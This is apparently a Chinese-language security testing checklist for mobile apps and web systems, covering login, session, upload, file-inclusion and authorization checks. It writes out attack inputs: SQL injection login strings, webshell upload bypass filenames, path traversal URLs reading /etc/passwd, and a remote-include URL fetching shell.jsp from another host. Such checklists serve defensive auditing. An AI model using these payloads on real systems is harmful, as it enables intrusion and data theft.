(一)
检查项:XcodeGhost病毒
优先级:高
检查要点:下载非官方开发工具,导致IOS版本APP被植入恶意代码
检查方法:1、被测应用的开发者使用非苹果公司官方渠道下载的Xcode工具开发IOS应用程序时,会向所开发的正常APP中植入恶意代码。被植入恶意程序的APP可以在App Store正常下载并安装使用。该恶意代码窃取应用名、应用版本号、系统版本号、语言、国家名、开发者符号、app安装时间、设备名称、设备类型等信息,造成用户数据泄露。
(二)
检查项:密码锁定策略
优先级:高
检查要点:测试客户端是否存在手势密码多次输入错误被锁定的安全策略。
检查方法:
1、首先通过正常的操作流程设置一个手势密码。
2、输入不同于步骤1中的手势密码,观察客户端的登陆状态及相应提示。若连续输入多次手势密码错误,观察当用户处于登陆状态时是否退出当前的登陆状态并关闭客户端;当客户未处于登录状态时是否关闭客户端并进行一定时间的输入锁定。
(三)
检查项:密码复杂度
优先级:高
检查要点:试客户端手势密码复杂度,观察是否有点位数量判断逻辑。
检查方法:
1、进入客户端设置手势密码的页面进行手势密码设置。
2、进行手势密码设置,观察客户端手势密码设置逻辑是否存在最少点位的判断。
(四)
检查项:登录窗口注入漏洞
优先级:高
检查要点:检查APP登录窗口是否存在注入漏洞
检查方法:
1、首先通过抓包判断站点前端开发语言,如:jsp、php和asp等;
2、根据不同的开发语言输入不同的万能密码进行尝试,如:jsp语言(admin' or 1=1/*等)、PHP语言('or 1=1/*等)和asp/aspx语言(""or ""a""=""a等);
3、判断是否可以成功登录
(五)
检查项:传输通道加密传输
优先级:高
检查要点:验证传输通道是否加密
检查方法:
1)采用抓包工具,如:BurpSuite等对登陆过程进行抓包
2)验证是否对传输通道进行加密,如:https。
(六)
检查项:账号枚举暴力破解
优先级:高
检查要点:是否具备对账号枚举的防范措施
检查方法:
1)采用抓包工具,如:burpsuite等对登陆过程进行抓包;
2)对用户名字段,如:手机号,进行枚举攻击;
3)判断服务器对该攻击过程是否具备防范措施,如:IP封锁等。
(七)
检查项:密码暴力破解(或动态短信暴力破解)
优先级:高
检查要点:是否具备对账号暴力破解的防范措施
检查方法:
1)首先检查登陆机制中,是否存在图形验证码或动态短信,如果没有,则进行一下操作;
2)采用抓包工具,如:burpsuite等对登陆过程进行抓包;
2)对用户密码进行暴力破解攻击;
3)判断服务器对该攻击过程是否具备防范措施,如,账户锁定、IP封锁等
(八)
检查项:图形验证码绕过
优先级:高
检查要点:是否能够绕过图形验证码
检查方法:
1)采用抓包工具,如burpsuite等对登陆过程进行抓包;
2)多次使用同一验证码访问,验证验证码是否使用一次后失效;
3)分析验证码验证请求和登陆认证请求是否在同一个请求中,如果不在一个请求中,验证单独发送登陆认证或者一次验证码验证后多次登陆认证是否能登陆成功
(九)
检查项:短信炸弹
优先级:高
检查要点:是否存在短信炸弹
检查方法:1)使用BurpSuite抓包获取发送短信报文并发送到Repeater模块进行重放报文,模拟向用户发送多次短信的操作;
(十)
检查项:密码重置绕过
优先级:高
检查要点:密码重置过程中的验证功能是否能够绕过
检查方法:
1)采用抓包工具,如如:burpsuite等抓取密码重置过程包
2)检查重置密码的请求是否包括验证信息,如果不包括验证信息,修改重置账号为其他用户的账号,重放重置密码请求,验证是否重置成功;如果包括验证信息,验证是否有失效或者防伪造机制。
(十一)
检查项:密码复杂度
优先级:高
检查要点:测试修改密码时,是否有复杂度校验
检查方法:1、人工测试,尝试将密码修改为弱口令,如:123456,654321,121212,888888等,查看客户端是否拒绝弱口令。
(十二)
检查项:恶意注册
优先级:高
检查要点:是否有恶意注册防范功能
检查方法:
1)注册过程是否有图形验证码、短信验证码防批量注册措施
2)再判断图形验证码或动态短信是否存在绕过漏洞
(十三)
检查项:业务逻辑绕过
优先级:高
检查要点:对于可以通过代理的方式对交互数据进行分析的客户端,可以对涉及到敏感信息操作的具体业务功能进行测试
检查方法:
1、根据客户端的业务流程,使用代理截获客户端每个功能的通信数据,测试对交互数据的篡改或重放所导致的问题。
2、具体测试内容包括但不限于:篡改造成的越权操作,交易篡改,特殊数据提交(如各种注入问题),重放导致的多次交易等等。
(十四)
检查项:SQL注入、cookie注入、xss常见的应用漏洞
优先级:高
检查要点:检查各web应用系统是否存在web常见漏洞,如:sql注入、cookie注入等
检查方法:
1、寻找可疑点:
使用AWVS扫描器对目标网站进行扫描以找出所有的SQL注入、cookie注入、xss可疑点;
2、确认可疑点是否存在注入、跨站等;
利用WVS的提示进行手动验证或sqlmap、pangolin等进行验证
(十五)
检查项:文件上传
优先级:高
检查要点:是否存在可以上传任意类型的文件,从而获取webshell
检查方法:
1、手工找到上传点,例如图片上传、附件上传
2、采用直接上传木马(webshell或者脚本文件),例如shell.jsp
3、采用上传后缀为jpg的木马文件,使用burp抓包,并将后缀改为jsp尝试绕过客户端验证
4、采用00截断方法,尝试进行上传;
5、采用绕过服务端MIME类型检测,尝试进行上传。通过burp修改content-type,例如将其内容application/x-httpd-php或text/plain改为image/gif
6、采用上传一个在真实图片中插入一句话木马的图片,绕过对文件内容检测;
(例:
文件名大小写绕过:例如AsP、pHp、JSp等;
黑名单绕过:例如asa、cer等;
FCKEditor上传php2、php4、inc、pwml、asa、cer等格式;
截断绕过:1.php[ ].jpg,test.asp%00.jpg截断绕过
解析漏洞
II6:上传1.asp;1.jpg格式的文件;test.asp/test
Nginx下的PHP CGI解析漏洞,上传1.jpg文件,然后访问http://website.com/1.jpg/1.php,1.jpg文件可能会以php文件执行;test.jpg%00.php
Apache上传绕过:phpshell.php.rar.rar.rar.rar)
(十六)
检查项:任意文件下载
优先级:高
检查要点:无需登录可以任意下载文件
检查方法:
1、尝试寻找文件下载点
2、 在不登陆情况下,尝试去下载某些文件(例如db、doc、txt等格式的文件)
(十七)
检查项:本地文件包含
优先级:高
检查要点:是否可以包含本地任意文件
检查方法:
1)通过AWVS扫描,查看扫描结果中,是否存在local file include漏洞
2)更改参数的值为其他路径和文件进行验证,在浏览器地址栏中尝试以下URL:
对于UNIX/Linux服务器可以尝试包含/etc/passwd:
http://www.exmaple.com/viewfile.do?filename=../etc/passwd
对于Windows服务器可以尝试包含
http://www.exmaple.com/viewfile.do?filename=c:oot.ini文件
3)尝试使用截断,来绕过对文件类型的检查,例如:
http://www.exmaple.com/viewfile.do?filename=../../../../../etc/passwd%00
(十八)
检查项:远程文件包含
优先级:高
检查要点:是否可以远程包含文件
检查方法:
1)通过AWVS扫描,查看扫描结果中,是否存在file include漏洞
2)更改参数的值为本机的一个web服务根目录下的一个文件,例如shell.jsp
http://www.exmaple.com/viewfile.do?filename=http://192.168.110.160/shell.jsp
3)尝试使用截断,来绕过对文件类型的检查,例如:
http://www.exmaple.com/viewfile.do?filename=http://192.168.110.160/etc/passwd%00
(十九)
检查项:未授权访问
优先级:高
检查要点:是否存在垂直权限提升
检查方法:
1、利用“敏感数据扫描工具”在不登陆情况下访问省公司提供的CRM系统的功能URL清单。
2、查看扫描工具检测结果中可被未授权访问的URL;
3、对未授权访问的URL进行手工验证
(二十)
检查项:越权访问
优先级:高
检查要点:
1)是否使用低权限可以访问高权限账号的URL
2)是否存在同级越权
检查方法:
1、低权限账号可以访问高权限账号
1)使用高权限账号登陆,抓取一些只有高权限账号才能登陆的URL
2)退出高权限账号,使用低权限账号登陆后,尝试访问这些高权限账号才能访问的URL
2、同级别越权
使用A账号能否访问B账号的特定数据,实现越权访问
(二十一)
检查项:短信接口恶意调用
优先级:高
检查要点:是否存在短信接口恶意调用
检查方法:
1)在调用短信接口过程中,使用burp进行抓包,修改发送目标与内容
2)查看是否能按照预定发送短信
(二十二)
检查项:目录遍历
优先级:中
检查要点:是否存在目录遍历
检查方法:
1)通过AWVS扫描,查看扫描结果中,是否存在Directory Listing漏洞
2)使用目录扫描工具扫描目标
3)利用浏览器打开漏洞链接,验证前面两种扫描结果,是否可以成功浏览目录
(二十三)
检查项:session失效
优先级:中
检查要点:是否在关闭浏览器、注销、超时的情况下session失效
检查方法:
1)在正常业务操作中,通过burp抓取session id
2)关闭浏览器、注销、超时后分别执行第三步
3)使用第一步抓取的session id访问(利用edit cookie访问某需要登录后才能访问URL)
(二十四)
检查项:session绕过
优先级:中
检查要点:是否存在session绕过
检查方法:
1)使用burp截取一个正常业务操作的包,并删除session id后提交请求,查看是否可以成功访问
(二十五)
检查项:会话无session校验
优先级:中
检查要点:是否存在会话无session校验
检查方法:
1)在正常业务操作中,对数据访问进行抓包,查看数据包中是否存在session等字段,如果没有,则进行如下操作。
2)在异地直接打开该URL
(二十六)
检查项:错误处理测试
优先级:中
检查要点:应用程序报错中泄漏敏感信息
检查方法:检查报错是否含有系统信息、错误代码、版本号等信息
(二十七)
检查项:struts任意命令执行漏洞
优先级:高
检查要点:是否存在struts任意命令执行漏洞
检查方法:
1、查看各检查系统是否使用Struts2框架
2、使用K8_Struts2_EXP工具进行检查、验证,查看工具是否成功执行系统命令